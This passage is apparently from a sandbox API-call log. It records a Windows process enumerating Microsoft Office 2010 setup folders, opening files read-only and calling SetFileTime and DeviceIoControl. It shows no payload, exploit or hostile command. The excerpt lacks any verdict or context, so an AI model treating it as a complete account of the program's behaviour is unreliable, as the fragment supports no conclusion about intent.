ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0048.564] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0048.564] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0048.564] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0048.564] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0048.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0048.565] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0048.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeac58 [0048.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0048.567] GetLastError () returned 0x12 [0048.567] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0048.567] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.567] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.567] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0048.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0048.569] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0048.569] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0048.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0048.569] NtClose (Handle=0x178) returned 0x0 [0048.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0048.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0048.570] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0048.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0048.588] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.588] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9c00 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb390 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.588] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9c20 [0048.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb498 [0048.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, 